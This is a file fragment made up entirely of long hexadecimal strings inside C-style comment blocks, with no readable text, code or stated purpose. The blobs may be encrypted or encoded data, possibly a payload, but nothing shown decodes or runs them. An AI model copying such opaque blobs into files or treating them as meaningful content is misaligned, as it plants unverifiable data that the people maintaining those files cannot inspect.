3f689130916ff4b5e419894a3c7b1163808803948ac985ea7fcb61b19a9411c55dfe3fd99295da035cc13474bdfb5410a9307683db1d5d38eafa9f24ccb5b3a4eca78a6a920b79db8fe9a4f297bfe32e62d57f7483b04339bd93b49ab60d1f094a714fc84aaed55cbf13c7a292ecd227733a6efd3e7494eb18d364f2e9f22702bd7c5e2b42246f4623ebaa7f1ef80ae1ef652d4444205379573cdd5c07f557479fc22eae13f663e73b713e738d48bc8ec9d9f92f524f465da70942455f757ddaf45d2395323d05fcf74df922a3e1fdeed39bd8f5cc2fe9d1ca41b369fb01e1be0ee3fe8545aac60e7504bf71f51f2dc37fe8fe3144e5b15f5de8a739ecc72f16757708db12569ee841751ba2d4f122734c4643964a6ec97bd8fc7f22c9cf5bb520e1dfc586c34d65bbaa08d154e1d4b27aec664a91b0e66c0b6529e02843db765352a3f037b09f48c475201044a3a6425f4293f255b1a0c7efd4b0d359ff078354b0f77dfda407b52d0e8612f7b134b0198522bf0d557d82924dd043b38e94b3621863ce39f9ad5f6ac2de413deeb48ff650c7a15472944c15ed0ab11ea48ec249d390c867c4a6bbe2fdf01accada05fdca857e3e22e92c99e8e08c2282eb451b27e4ebe71df29ab812fa9481b7c6875c4b5be8e6d2b218587b7e1e42b7f92a0c37157417199f3b9ab90467b1b1aecd8f3f8aebf95b8883f1ebdd9ccc*/
/*a7e64e0196cf7b6d12305e2d387d3836b0bc3654952386381fa3c26c69d7ab49044754093e121e5b7828fc6622fdf2607b090fa0524929c8a5f4ff81ab7919a489a6c165f197031bd4ea523e666f6f23ad7774ccef9b11d2fe22b15660f214b9223e8f6cdd96a6c022851bafa8289d66cf5cbed1b08d980528237c32767be76dfe7a03a018baf117a183003d52f4dd403423005fc9c2ac741bab0ac99e27a199e69bfa3676ee5a43ff815dcd4d2480cecd04093e82b58c321cb1e898ddc5b19be68cfb340c4e10b7f8da60c2ba1e5e159fb381fa6c5440f9205aa8e5e22a2531d69d244ce094922b2e956fcf7ad2dcdf13b8cfdda6cd68a464dd8218d279f602a44d4b86a8f1f3db7816a79486bd113acb6f2a9bb767f57a32c5e018282b9f352579666188cd45a14692cf477dbb751d5d2bfd9e433363ed9ca6ad308773be90491a9080d235176c681f478e13fba4ce5ed7737c6facce0665d280239db866b3ec4c848e5a9502aae97e2af12ee16a11bf651acc32e4125909cc4424351b571b0c77859185dcdf19f8b273c224923b633311c867616221ac48e6371e1e775aae13541f9a17b86f6a531003e6f5d243a6f343a81ed911acc26effcec8c333c2822914454058cd9d847ccfe32c9d8d351e72c6f3cfad192dbb7a03229b8850104cd689705e9f1aba9dc08f833038a2a71199a7015c41a41a59065d7b39cd5ca99fde07b28b99b5bd6b73bd28eae133381adf79641f5412b3378641277327e4f0149a14b11b7851aa9d1e8bcfc1ed639107076c3e2b4cf48767b0688223efd80f57d5c65fcb0fe1219cfb26f7e05ae69efafd5be9ba426c0010b73c76a03a41e0270dfd049f07d723c18e1f7e98f7750dbccb0754243c197b5e4cdc632fd7229229b4685eb382012f7f08df417264655ca43c3d56833ca664d5545260cc82173e9619b660a28bf8dea79438e901c0d8a9f6ac632b05a832f91e20f2951974e1fef75cc3a1932378b27b02312b2dccac599850bdd7c7b72b63a64686d3d51067a51d22925aa60329720cb9bbfba49f944337a18f5ab7023f6315252314451843face0d384ee4d56a5d6c65fc607c409988caff380f7dc867eeb5c89af68f6acd47960d03d60f6499ea46463a8c185df2ef4664ddea4a69cd78ec787cb5c875d3f09d5e77e61c9fbf2672542c29504b0d815cf4514cbc0aa864ffa6ba57f4ca93e4870b38b87891a6a7c9c563726bf9b47a891803a429dccecace5a3550ff38f0efe35a70d417fc28fe0e2a4a23da94c170dfbd9e661d814a8cba294cf52d7d9f14b9a75105ee15eb34f2b4fbd01b7395fcbe7f3fd3d60c83950e849eba25957b1777957d4a408b329183c794e6e01427be91dd5dd68d6cbde2f6db669a2e10efed514c8b5468783aa102ba2b2f279ae5bc465bb681ea2202116ab03b0d1749d892e049ea839e852b48fe92d574dc7367c64ce94ecd13167a36780b063c7ff13230262093e0c44a8dce64b293e375c971eb390fb1bae731fadc3fc3afff2d3ac42033f77e009cd263b0ef3e13aca1cf83194ef1ff5c0805408fb81f84ae6bf89facdfc973302728cfcf2fae7f2afaf31b350c2dbd5abd84d20e5e15ba56440b113eaf1901be7fa7dc054cb13b95fcddcb61e683b4ae29441a270ad4687bca8de38fbcc38806dfbd32ae2444744997f9ad4e9301d9e93bb961d27daa33157d759982bbcf80dbfe934abb04522a94a7f8bb37f5bffa4eed8ce9d1f2121b0b5b04b4bc9fe6fe5dbf6bfc99f80552a815ccac244e25ddc6e7b488e6425a749b5b093528883d90bdcaaa90991fc843f63fb1788c8930ebf82805d3e7c4327ce772d96c840618a10e50b418c76ea4dbe44e163c4dfb7e95a41d3ded0c7f0bcf2f5f200c8a7152d1f9f84feb4f42bc503e7c550f75626df0e459282efce7bc60650f735ff408e33c9058805d2ea1810a2a593392dfb00a8e4e1911b3f7af5eca6330c08449974bd5a833a569cffeaefd542d7a4fb04ccd1198ed997a1c2fb460d1607b33645706c8a89c520756e91ee2ea9c7201c16c029484544b7683b81ba9af513867d31bb4c346cc8ca8d34fa40a3d87216f19fc172381d39a70c747955c9da4ffe7b10dc5b83d5589aab097e2a7de21ca78d39b07bbf22e507f805668c26ba1306ef1191ea61b84786e4dcb5aa6b85239d195eae77ce19cc00eade721bf55bd91c22dba7e6445048141e839a4e6eb83b53e82d3fb3ad210c9644507303a83d84f23a8584bdf6eb3d1999cf1678fa1bfde5cf3b14fc2dcd197b57f5a952953f097055e5a3ca393ff4f10b2e34854528717c6abe42bb8db3d61c15015ec3025d73a26ff536b35dd437dd8efc466d5e7940cee7f6eb1119e1484419285c6033fd604dd8538a0c90216011e131e206f5b43cb3fc15aa31eeb57c2106b16ab7a890c32d287b244f0fda64748221f72050efb064b6198c910377e9787b9484936701531cc4b6c3069b72e3be690df7f419e075d7ac1dfab5294b6de639502aacbcaf8e9e4cff4acaab9b5498285259accfb91e8010e88e2553fa77fc6abfbdc068890ca388477e1ac1e9aec82c61b74de5a485c877a25fbbf49e33a542eebf4aae99f1073d272b9cd6adbaf7331a7cc24baa292c161af309855a195868ffc13c12f8e52bf112054012c431684d75f4bb451dde081e5af25bd36428a67ae995195048fc0f8bc01a769a2f52dff8b332bb8d274a0bda120f92ab0663f6d6c03c38d21fade63b7f46f6db7a9c62d991dc4e4e4f15f7fc161495613fb11e498e73cbe93f170c987a69852e8e7b983ffe82dc526dc3a04c79b*/
/*1c7ca1d533ed84cb3b61fa9bd6beca887d7bea77d4fe570d0fc8eead718a7254d4cd981db18658ca4d79c8ae1abb841e9269cfdadac37f869bd449c4ea2accc7e5055dca266c53643275d690c92414a16b21763b0f8a95ff7bb4c39c89f8fc3895a813909a37a4bee6e2e487414691a7284ed2a0203540bfe89e910b908296e293b11c0cda38665e300250fdd8ea81f91256f1c7a309d4d97161c4f2de0893d4667ed7001dd418f46ad1bc978685ce073f40d49c20a1bd764f9901cc332bc64a8afd45f94c7e62caba724693a88eb5979f0f38773026e9e151205f2ec0d57bc65efc8422278b8ecc011534f8c4c967c10102ebd6cb7f3b22a0413ec00c49835908c59f6afb4a163b6eb23f752668c5292f3341398863a10b51a12b4c7f8f5cf384a29f165814e334441c64d5d7df3c303c664aef39e38a77f4852bbe1cb1856e3178793c096a64d76d0cf0187e2da36098915dbd2f7bdb14f9e07f97c2e8026d68c1bb3613fc2c11bd13522ce3611a7405e992280823c3d798daeb9119cac0359d8a1d483d1506c4dcc1058f5f047ca7c652bcc437e5bf27d9d21a7afe69a6641d697f3566ea2575a57e62129ca4d3f8fbfeb610dc244bbb923b2599c67bacc52931f0be5c015181d729489132e62aa10aa562bb55fda05ac422f11a39ecc9d8a7f5c65f8c7c9dddf012df65628582bc3ad507cff2d34aefcd0ceb4de95eeb479a3291d2edd6f8138d5c12c28016ab4908e4d96d94faf2213a46cfc9c826de13979b4b534e95c3ae70700b3452875fdbc65c9d4dbda86847d4fa1750234610e2c0ef29f0cca2094a276d3682fe9aa71ae3a6767c8c8f13fd8607fcd42bdb9cb2a99eaf2115f10fd1869ebac91cc168d663a596968019b1de81f85e201d3784ce52726869cb30f652fe74e487168c01d07e5c9b25e825fa7f2aabd45b1da3d1007fbc6402c38dc56c88f73c9a014fb155f6f82aa64c59ac14436e6d52e25b174140934893c76f9426b8a85f305d40d406064f0358878b9a1fafe7a800bbfaf5e7f78cdd8d300a7c5e7ae4d986108f6850a7fb42809ce64f72b1fd939896eb2445c3a997d8fa426a15d6e63e5ed3dfaf0c05ef207ab228fcd91cfa343a397ecd988fcb12191ac30289e12e35c96ae10ffbdc9be11418dba9fd28c4af9c6838cd70ea97caf1f84b9a7e402fe4735814476dae94897a24b2d2f0bd1307f931bca2ee1f9234fe39e644a9df32a9c8db9da45951404ef1ba52dbab0da1eaf3c608391827abe8c26a607a323beae9ebbfab9f1ee381a14940ea42ef599dc0260398a66b84302ed0708a52e40b8f15679d613f38eb0803e48edebc1490c2252ba240f7cbbd28b353b91015f83aa4fa087dc465a92d502b5ed9af77830a2576ad368b21a09a0db1d177b00312b63225ba7309203eb64efc2f7977278b02926bda0626ead81ac92c9e743ce0ec0ace7d716a31be74089cc07fda5f2e3062dee2f01b84da6cb8de3c22045a471d01d1a75e1fd739f8fe932255e9e2d825bf174248fb5eb0345e4b23c3da540d33f2db13a7dae51099cd940f6ec2c20acfd1f7dff9b1ec48069d5fdb4f258de29d1bc44b36fc52e81212a9f79410fbbff1257904a84c9465f95a3892252bdd865874ba762a8e1995752d7451530ea406881516a02c00884f0309ab5e1e06dea0ed4209b6388d2c4f4315a4c967723d71bb5700e358b9208c599836097b9db6e3128918d5acc148b6955dfc0a18f389ba6a816c3fd2655c6ad29e688664326337c2669b7003e97eb15b08d5158171edfaa000ac4598e489d4da7bb7f27f88c19a6b81d66b999a2ea4badc01ab5c6af2857de0c35cb87a1ae46dfa44710745f2faa388dc791a9cf65b1ad2646dc1ed99e0099fdddf793a0e8b3527389c47e23dd31bdcbd8277e0918ff540f1592f12938b4e5f8618a7e10e78d58292200d90a9e5873131b5c612184e1973e6ae2271fd57eb59ec84c5058c467a230ee13e96134f4e9ab6b4156f0f095bf15ba5415720c16b7748f8eb95b8a3efe9c22c451aab2008f54f482f2eb73e197782a1547dbd4c2ac3fd30f3badc2e56fd87387aa090db76f5e3a1c17b4e15a259c15ccb53067a1946fd732018bb04c0eb22362533890ab0677f66181e09b8ef2bde9cfaa3152131633504d3a2f8d14274ab9e510d5c75f0e3185d338a593494d8bdcd48311c2818eb00b134446421a6eb30cb59679fe4e5a18fc46c29ff131c75ca798cbebb9bfc0ec8631c6f92c4fef94e1ed6baa4e8bcafebec5757d25c6d3d8a42cee5f8945325832b5954ecd0a3e01bec3a07498b4184932f39c1e0aa14edefa0e2a71c88dea7fdeb16d4b537087b6fd0992ae2f801b3e270d6c35f90b22a8e2ce08713740ed8ddae76715cce44eeaab57106ad646bf15aed215733dd1efc4af551b028d18f77bf7de8584cbbf2afb979af81465ba3b3db5fab461bba55d0a8e106dfdffc66fb1ae39ff36b9d41275f6d3627cdc166690cd59c662dce9f37c924d53673f6556401f1b70f1456ff18810f463084664d86da67a6d6adfb6fb4dd896f2637d5cf7a9cea1cf45a40463f6367eb1c94b54eeabe274a5b8f2b023ee536a5e45f635a2b8e005e4295c5de1a6f49fd3e265fe357ce1c72e09c2fd22912f924306c526591fdda735ab16cc878ac6e82fbc6aab2679586a62da4ec82a8b106fae2f6b264b5fea9434ac4ad602fbc84b49f481ee56bc26d781ef836a4452647406e1ed66b08c9394774454f19386c7eb4786037774b650acb7869e7967d904962872e72418d120dc4b38328bf166a7b271f5dc6d91ee2242182768f0a*/
/*390d2cf21b947c3f0b0763400b70470ec0c2e65e6ae79d04160652cb3a0513a521732e376d5dc54453dd5262de1661cfdbaf308972e24e4bc56a1b3e98ef069832f113aee71bbe7e1ec87b38dabc62eee0f125d9cbf78c574a52644d1c57d7423ba32e3afc777bcd6ccfa4ec1cf19fa82be95cfa030b78d8c6b8d845ebdaa4983f8be379bd9feb160d7613d132f0aefef4483ff858dfd1b7bb8e3f31b3790607ce0a9d748549ee480ae15655ec361b2699e89e5e5261a8672a3add2ff3e38fee259b363b75e6007d760b0540ec75c63c368f5af429a6209f1cd9593c1d610edcfcafd0dc340623e3dd3dce9703f8f8b7f80dda5bb7599f969728087022b6e0faf72f98d3b6cfbc44bf35435953c26ccaa4a8c8ed9a07a65f59bb3dd58dd2aa8b47ac5d1c546051efa89703c0f31c8178904ce15bd4d382fd6550d6017d5f723c32381cdb6d5e1fcaff2426b3e5ae270797724f4f27fb3e1df0b7813a9942d672179a238c112d24ab1d7157a7eb5d78f5ded6ad5388f540817bc1981c99cb39d75785caa69da09fd69ff51c795160133a61ea88fce646333c807c5f9b5ba4d7066a624f15279bb55ca19008e280714c836de956402c1e0b42da90b42b89d69c24d7b815aeb3ed79e65b70eab93341367a1d17032a9006fa51b1661382353075ba74f617913d7116f5fc1e19314a0af422360b8290a1ae53963c5f065e6c50d33617781b5a1b65f335efaec5106c562e05cef0de4dfa0977d9f91022435ad90456d6f0ecc5c8ffc56a032bf1ffca4d20f9d786217f071ad74b166ac426aaddf458de87b95145ddebc9234216e93d85e2c6de30bf614e3f0e6acf0e0923ed085ac50747cf32b166662bfcebd35f821244f7492c639a876e402c1f32501c17f59fcae1b5e5610fd017d5957316fac19767aee94b8384b055b282e28f896e54b06e3e7301f6b9d9539d2a0ed666abb33862ccfb1094ece673eb734f12046813ff7f37be7fb22c78e1bc765f5e99de0cb5277c87b1f3d226f7ce145c1a6db370d175b2f1766d09f78d10b8ae8cdf4c787becb505be9f69793f59fe456ab879950bc540a0c520a2922661fd7ca48f5ee002318e5bb6210498cbe02cd0afa74692bcee01045b8024851d8e0ae244aae642fd559978b7a6684b8a4704e37b29c94e126edc913cdddee4f65fd8821459c12d9a04bb76f1aed2997d9066cc66686feb8e43a14fde0ebd7ff51c99646d4c8ad982de9e4e9ddbe00d52d3aed597eb663e6717e77861aa54ea31501dd8e8d1326c9a5a7b2217252453fd07daf6b6861f07caec272e3743045bec176f34120fdc5d666ebe089f4fb3dd9474ec135bcdf0dce7bb9269519be85059dd22077889a2d5d7929b9d5f6e6da831ab6e070cf68a5ff48809156db0bdb13f7a58ac5547f1f428d0ca0e8dc2081130e1ef305de0295bb547a12f9cecdd0e97c6d661ebb747c829492dabe6467c0bcddbc651511d7742f6f884ed7debddb590775428b10ffb5525f5d3444872f66745490d19b7cae01a7a5ff1c668d399aa53e1b01f00f80c2cc4276319d450b57b43d2edb68d7d9b82687f69612b008dfd368db47bc77860169d38cc788203aa22127bbf6ae4b296d843bcf492fd215d04d257fa292a43dc6aa72bac5a1dab45c317e99c87bbbe736b10ce0344df72657be17b754f418449dd4838b24ce2efe95c90dc19717f433e80ae0dc6650feb02aa2f57ff55d4bdcf011687d658309b82c69dd7b45ffee931a3141e40081ed248efcd926f9f530abd901fab8bf8f4ad015f0c201f96ec727b2d459563a11ec41c13a3d689f2ebef7761fce946390e1e1e5d286b24ceedeed7785d697430ff60ef0bf96de607fd633e3d0db4ef2cbe894cd22a223ed7366fae7c382d1e8e4d4dac0f163a800c310166d602cfc81ab26c2c06da6ab4ef2264181c1df6c9a6366a5982515f43166a210e19ce163e837f20f133017ba0fb635e5c04bac79dc56efea8447058b13fae161e2cbf0575ca3bb89b359c3513acd8211b6191f9e39207cc6c91da51ce30f6ae2680e8709b2c8ec91437632738bf2517b6a24f53bffdd938894a6e49b3eefcc45db63c4a3ea29eba74b306ef7c8659c0d0799f0c8927fcb9cafd5585f2f7da7bd128f3963edc8fbff6f2f6fb320c4f3ffffdc653b6375476b7ae06c642c97fa54599a3057b146934114915d3795d2cc33b7d7dcda053485e0c551ad41d62695f3b01dcdbee46af817048db72f43495d35495165b75191d828d7c8f4d24661fdcb20d68c612cb29c2d21dbf678f4c3817f939bce61e44d3c56b8eb4d206ad6803713db9654cbbdc9b3a5018ad394ff6f0173ec32e081ef3a3f3354a5be0dbef54454c7359a6cebe6f0a279aa172a758b0f06e523882c0a52cd8faa301808bad26ac69a173df5aedc0268b7e6f32225d55fc2899f610b1999c3fbccdc29148589f3e2bff89a9f84f7669cac1497d860e528e030e4caf4bce380bf5b6e7d09eae86e6f504cb06d507a728533b302524d21fbd19ef975068b6a279ca6c4ac5c20418c59a20551fd811fdb31770ec8423670e4ea5f0d1269433e384be8a8eeeedfc50f173a94caa60a1da7c848a0ae3d706d5475e536f3d8f68fd61460874ff58e9a61d6f24f6d67933a4c77065066b11345f9343f27bbd09d703851ee6107c9ca573489dfd298d486932705ddb5702310dc0e287abb4b4f7abed84f29325d47539f7a5e263d9781c0463fb9e71d292081b4d6e97b32d3147b14d5570140fffb560f5770b1672247a92572176e15820f717e8046d8b53bfb5cefcc9fe322cb26d65d5cffd98a695*/
/*9fa92f327f92625237262af45bf9b161a93dfa281792b7b9f2f0538f18749a8d2c2c517a93d3c9132f90ef82a4e1aaac81e8f21213bcbaa62969b37701ff522ef49d13fa4c3156570897e9bba6759141d70f8e649fcd1793eea73c9e82531f8c3d464768e763f1fea304dd7ffd43c675aa0475575c30961d8999b4de56d031f53ad5504cafc33879f8685fcf6875e91370b3f0476024678a5b0abf88067752b10f8a9f2e39acfb9382e4f015cf47b046c2984f7b93d354745ea8fd52d1d3fc7c1208f0140625222a6cd0ae525fbc750c89de8d928f32379345d864b3cd0ca0b07963f6882c66520b4bc79eb81aef5e05140fa8a1ad0c95f493c90d1b8f3ee62b75c07a5c171cb801142a8255b74d3f44e7c1f6bed94a141e341946a8eed006c23de272228ffce0810ada7be7c083f747bb60f1e6a575bccf8d0d757c18fe4c71e02dbabb87984439ae18808b42d2410bcde23881023d232ab164853a69aec1e9950d040d96a355c594f3c593a06d4a0f19b3cfa4e710d7b03d1f3bdf1c6ce594d860e65078782149d22b573891846b476fd0c7b2dad828064eef574fd5b768fad53f26a6bdf72845ea76a02636dfd61f1151bcbc550819e51daae1db95ea213b35cd548a092e67d52d67e09f0eb90506df4c7cc45d001eecc0130a3dd728f3af6367af2e1fd7e5e59a30fd6a05080e0cc74d1ed401a6be0dfb4813223b9399af5e129d5dcd1a9313b674dfae9b75e62eb5d80cda069a82c7bfd1ee4a512caa7c0c630991a075c089bf4d06bdaefdec8b6d78964c8a68146d22735cc2f128df8e9da241c5b1481a73fd6b4cf58d0b7dd47cfeebcc403d0033ca6e85c02eddacc24b75908c39d55d981fac214edff6d2408fb0e49682778d13dc010806a258a289b2ca6d915b16c21a8251c214e8d26e329844e4e8413ec83ad0e6f3dd97965fe048774b031da7ec6b887ec15a2f35124be94d06a9a0f314421a39d3fef8375d8eea42ffa41cae51d138e946e21187786ab2cddc39f1269a04286ec62a014a20ee05f96f9bbf37d2fa4dff612de76d2af4f2e064270f254664e559d46071b5b39d76a40adbf6e447bb4c5d0b2695570d9b7bb01f81406d9bada17b44a88036b28340810912a4ebab8f37eaa510f416a9d66e7016bd1db9d853571e53489a8a87c3c18b9a0aa3a708247d51c056f853204864b8186911d38cca24d660ea52fa00e20b31a97e61270289ae8505700c29d9c3d99ae66c1d5114e929678dc52285807177031afac4b66e2063aff2a601fd4e95a3573c4b81a8f39ae714a51f4f5e11eac7e287784a3feddd2d32dfe89c44587a84982a9f6c46a58a6574337e452d04fd1b59c6ec7a7cd1ff2184cdd4c7b9acb6b64c213cc8f07e50472393a6c061f40c8b27ee579ca69d1b53e48cad076ee5369116a7fba54f472b6584296465d90e1f14f2dda9b3e8cfbcece7eafda108f3369937d49f4b0950b694806068e0d1ca582d2d64ba59cb24c4c05f2d521af6d030999d298d9eb86f9b3a7119e0429dd39277e8fbf88807d37d7e9f3047b38cffeac62e02e736e8c18c0109def07764392f9bbcba906110f4be1082c5311c7d107e2fde2e317c522284dd31929612b7789f55ccd4e5bb9dbbc4aede070c5d6df55984a1fc58a617662254c9b3e3afb0f2adca4ddd6c25caad8f3aeb46d463356b04f087ff259c54a1ae590af6f92af688f2adbc3b64ae59e2fd5ad150e609a2736378217967e7023084f6570ac9ac4e0c4cf2c56fd4c1af8597cc9e2384a833dfd53bb6b47d84ec91a079b9f1efedb73d3d39f71536b5bd1124f6e236d87f22b2388e73d56b3005e134e6bd514d40e06e587b38d9ea01701f7a5b05563f4d74c67d03c2f22fad35dd518d9d99aa35d3b207d248493df46c4f7fb5f44c9920b45a2a58775bbb5c75fb161ebfc416214cded63ce56bab8d9bc45e0c0a60d2b3658ac457837e331410a147ceacbd73ee5d95201800e9e6468a1753f04959b3625ebd4bd52d00fac5a8d4e998a7e9ecfa53b84b1be7d0e09adb0497ab2111c16ad9892d86c93fb03ab9591a2c6b9d1a054e1d1d83c64816c30f1b636ce1ce836a2ec3612bd2924326269221d3a91f80420f9f00de8563ae797b150a2576112f642d49e9e0b47b54cbd149c3b51a87b657e7cd3db1c0339da7da1c76c3e26d088625958e662db88dff83347b13aba413084de5d57bbb3c3ca5fa3c1410890629003d1aef5d284a54f5f1142705bd9590cd2d67b020671d87952cfc8e68e03d02838ce4d14a3a5bd7307e29c79eacba6f9c2a42dcaba254317bbd8ac2c49173cb4747ad69ec1628267ab553a867a479231b86436a8bbb544e093a9b1c1b99b05907d59a5bceb7bb7e0758daadfd07c607ec9cca06fd734fcceec09362ff1175a73db77ba337cf728de0fcd4260cc3e0b050ee56069a79dd888124149bd60aef19f77162e19a72ee7ffc1a33655636e221f052b406bbaeb44c76e1a5c1c9f79a688abbdf6b3d01e7e976e741fd0240208fdf8d9103e6caccd99cef10367316ce76ae5d21e972a8f1959d739687d7d2adb78776d46a2fc01044177c689c005442d761105399047cfcb6f850cce3d8c35eea16a34516534c488780cf726b2acff947266b9245426998be94409bfb0856f6feac82b8523e463544903f29229c45c0545bab28a03a30e6a1205841224ad2b804f78ec6c5f3e6c776337b450b5bd3af66b07624e788de92d6a420917daeea0a79a181839f76bd51bbd8fafc931053c47630c485c47ac36246e43eef2b83c5d53b6694927ee126e03afe20583af3d1bf4c9d3bd531*/
/*504b4316f49f65f19d2a3c68e862e94d1d1010f85d3d4b663182321cff1a172aa7e6be5812712e47995fecfa81fe00978bf91a2c24e9b358b8b71e6d0c4163a70a7cf9ad7ad7b0d348a2236662092e16c54c5411137a42d7c601351bf14eec07a8422416efde26791688d2f70d459c91c6ac6ef627150367c42d6762e05af833228c8676015471b519fce606132789350808ddd2afcdb332b2334c64e0e5d6bccb87958b0bf2d01b6f66a1e3859048b941a4c99d8320586197e776aa0e2ea64b0061ed578ab7f912ed79b0aae48a47722b48a6d7e39579fe7bc8ea627b972a7c9644b8dfd9e1386eba4a10f4ebdd453d8121c50a83b38964e94f86d15f5b9949fc39c78b65d90c569983975082b763a2c76113f558b0745e95ffb1be89c8de8509194d85ae0113b62257b7a1725694d39f97bfdaf360d736d960db0532543956d6ef4b86241c0dd7d93538d79bbab8c064b335c455971c4ccd2b7c39cfa103097fd5cfcab2b4cc40934fe67125a519a45eea4757af77282a4c46013c937d2ccff7b83bc817e707adc0751575982837ef763a911712084164cddb41f730576f7cb7170f82a9c3922b398b7eb9b6f000e602cdb31df155b6d63cbe4b7d91c630fbdf05fa1eb948e98d52f13d0078f0ecaa93998f2f51fe29f7cbc12c6715249643d4f9ff95079846ec9dd115f85bb735fc8d4649fbf0931a279b0a873373819a7da0faf5cd950457e0b1035f230d10b3672467363d4c3656aca810aad5d7a96c4e2b0573f350a9d3f08d3b5fda21262bbe39cabb3db91ca3c43e4d3bfa88289e3a823ba453f61664bcebf8d730b5a9729be2c27b950c1688f80aaf92c24c8325d6c0521af2ae86cc5c26e9cf9573d2c1464bb9780f76f414fdd1566e4c777fca12cda4e63ffb6d99f57cb93a89dafd5e8ef3d5dad7571d499b9db307981d47a74a9a61f595beb9f951456acf30dd0c98bfd72532fb5133f3e3bb6992e5de2cf649253fd4ef0ee6857dd25858212972b032744e98d770763698e44d0126314a9cd086545707de2c45fedf2a955f0190990c2d7c7ffda7b0105f8f60d4718e958d055a3a28b0241a03bbd7507021319ed2c1d91734a8bd6dff17fb77eccfb920bdaa7a8fdf8535593bae767eabd7bb8aa1dff80d22232fff2b6177840173c7fbedcc75154653f4cdc608fc210cd389d3704a583fedcdbe39f876224a8766ca5c19194b55a822acdb4a2748c1f044f1ca3c9dd12f88bb476b097ef86017ebe42510ca7f8d5c779503bf4f4523e91b67d7f27f406abbe46708bcdc77f5f3b2be50acee9a522356f6cb2a7f1aca6a7df8e93edf3d8dc184370c4e926b47cf40131a811744522c20bf32d8b525da4e63801164c20720efd0a45740e88ec35ca727e464578a5b03fa527221a5776e24e447c7b1f32b8ff07b27a648980ba042ae550deb50f9c95472d02e9317d8e30ffe1c096140fc5fc4b9ef102def098322837bc4f866326f8805554f87a44efb05b80857877f6fd5fc156f9e2f6e2d292d4d505f60ae66f71ec97b36b432df5f0a939cff7dd1f7bc427ffc18414f7dc17358f0735913097d4530a12155da2a72a65494fca3b4f85b060409403a0c2186ceaa05ac9d92e18e98e7e34b148cee3527330360bb49b428121753ec85bec8870959448ed1721f7d962acf69b455ed512f3399c0fb81482850377c22c27e2231138513426c588061d0834443b6e92395ae22b68c60c1e82f85d953e5614efd30a30b4696d283223ce5583484bdb2a9c70833943d94ca4d8847e2214c2c07f3021b9a9c46320f30ab38f1ce083882cf24aadf2a545662565e3f54f63811b29e83d5f59ebb9aa0f594800b26e431d074f0c4e32335843f46145c763d373a8f78625e828106800909464caf83d6f1dd2bf87c09ceda4415a5e5eb28129073cbb46c505105589e68ed9dcdfaee9477ad125174c6e487bc2baa38dee02f596edea87f603f35abeab23e57f15ec8d07de3cd1ef1eb86b722d995250a9c68cebc4e01c7af4da63d5c83e72ae35934a0ed8874810f7b7d408d1b9920febb99730170617b1546fa9f765a4fb936792011faf6b0eb62caeb107e6bd5b580666d4184e5789ed172e02afe20be8ed958ebfe6f5f70fe291651c28679b75c3d5c58d5009d13de64dc520a6831b996134f5cbcb22df1a08ceb60ea1656a8230871ade3a0a5f8c3a6efcddf24348e46763d88a6fafbf187b81d9437615572dfd403889be8f355e370328c18f981e1d61978222b2de8e372d9e20f4db3ee80faba337b06ada4203c5e1545c9bd0eeabe200859bb603d168967645d828ae7c0b0b3064ff9f9d304bf8c95e69ac3dbecf91f290754fedc1c5c05026695121564fa4700c68d88015993a3ae02ddee0de63f95239f839f72da648a41ad5a82999d88892c5613291a697c556806d7aef110ad828c0afcffb90efba1b335d25c8d6f5c209bbce41253681fb60fe426b4fb0be3e25087b8e92ffa525e9d06d6a2c6322d78117e4774d3459f3c7179af4dc3e09c5c019666cc58d36077d5252e6bcc6d1575fbde677d57e99e49cbfd92beb07eb5d2ba767d276bd8ed54bd27772bd9962fdc30cd7e9a4ce369112b4dbca3375d155f45ac2dcec1667c11140e83c0478d7e8c2cb084564d06623aab76dbab3d2b13c4e31f7d1c83da5faa46f2afbc8c7e78b1b8895a431dc962d9476c25558bf5a83b22c082f6c37deacc82a5bb21270f91b1066f4dd5efdb76112715197c5f52b609932f6230d67c713e34a15ba414805ad1f6c02ec925123dd0a536ff3884f320c5d13998ab169b2599fe2bfbaa39*/
/*32c1831caf2cefb0fec52120cb8892159e5fe55a110bd4e98f0a351e35c6dba07797bddba50eb51300da9ddb79614b07ada07b46c9fb53c214e7b0e696cb03ba611b7b11aa8672c38de2b0a17db1edcf217bca5676784db76b13dc136b3eaaa7281c6f3b113b184bf1a5ab6b418ed1ac9e18a42513bc50c33dbedb7cd4ba874a8ed63c59dfca97c867bc7cfdbded2f56251f2744f746a957cae5c38ec96d89904b2f3a2e4dd00523d3ce9177f3d734f29c82dc9210ba388ef4a66ef65ec7e91055fe0e4e1c0ad26e8533529eb838cdda9ac74cec85b466a8c38b08d45396ca9fae7bfefa2c5d19a9ed8ba01572b53685b55369daea9ceb93b1450a3a5412a485f6fb84978ac95cd50972879259c9a94d2400828664def990edf4e49aebe9f8b3748a0ec8839d9e57bc56fd54113b7832fc853a182f37121cbd01a1086eee1e98a934f4a3269c50bd4526a1dc439e604c5f2e61d7220954fcf480d6641b0f0807a6750512ef0c5bcf4986f551d8ade29699416d558275015b29f35d85700d646626fe6a2dbf28c78eeb9a0e92388a74187221c7a7fcb8c5ae1b3bf8168347217fbdc3f161ba2d0cb1e2d3002b27c7d0e63c9e2e0e78ad27b52d015f0752ed27acc0db7e49ec6638b8617b924581ab766372cd9d30458c6ae9e465c20a32dd58f67ece968bc795a9c69b21b9c14d37a6af7c4b7c2866fe798fcbff74e92da2eba83e6021a4019b88099ff11742a58cc65db00f5b6f7a85015aa165334477a039f89c9008376e961195359fe027c03fce4c00b4169d23036156a2e907e41ace773a9580137a144cebff6a8f9d9b86fd1a1eb0ef8d483e95430a30e7ea84e8fea4743eeb53f56db80a86b6e47ca0f23d1a4aa4166dd835e3af9159ddd90dc13aea54fb838f9fcbbc3a377a36d43a1c9c96d5d73ea875f4e8d53e8ddcd3a6ceddf006b552b1b875459615676be7d39f3e7419509646c284b8f6b79c93c8479d6a433dd30547384994bcc40b3130bc910c601733d80581a1ad02ea8f9ed62b010da99ec459146304a738c2efaa2f7199fca9939b4be8a7dabb4fb2158a058ec4f8086d71f4ebb45659cb174059d3ad0a631bac7c4aba73dd65ce5b27e45ed977d16052d2bce863cae747f4bb9f187608412d91811b9f85e2e7fb80af5a48b2f7555b0e144512b3b6ce9112ebd17c3a8523fa114cdfed0bf752ac8098f25ed7ad0a0819eacc746a9d80a6a193842dd1227833a63c491d7b90927a20e8e42c858a314bf6ad148cc0450d9324b8a5e1f0e114e509f5ac895b370139ce281d56df0001dd0c224760bc183345f0cafce861c49680c2abe426c611433bb681e765c513b9d79d5a991983e3c0e746272bf0f283d4c0af752f0887c5eea975c